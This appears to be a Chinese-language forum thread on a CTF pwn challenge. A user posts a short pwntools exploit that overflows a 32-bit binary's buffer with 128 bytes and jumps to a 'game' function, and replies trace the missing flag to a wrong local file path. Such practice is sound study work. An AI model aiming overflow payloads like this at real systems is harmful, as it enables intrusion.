|
|
|---|---|
|
|
|
|
|
大佬有没有具体的做法，我打本地的话，模仿其中写了一个flag，之后调用game的地址0x0804855c，但是一直无法输出flag的结果，下面是我的exp： from pwn import *
sh = process("./pwn2")
context.arch='i386'
sh.recv()
elf = ELF("./pwn2")
print(hex(elf.symbols["game"]))
game_addr = 0x0804855c
payload = b'a'*128+p32(game_addr) //gdb调试得到的偏移是128
sh.send(payload)
sh.interactive()
|
|
|
|
|
|
本地有个毛的flag，你系统里恐怕连/home/ctf这个目录都没有吧。不过pwn代码是没问题的
最后于 2023-10-8 12:06
被R0g编辑
，原因：
|
|
|
这个我写了一个flag，在root权限下有home路径，在里面创建文件夹与flag文件是可以的，错误原因是4楼大佬说的刚开始写错路径了，写在本地Home下，而不是home下，大小写问题 |
GUANZHI_ 
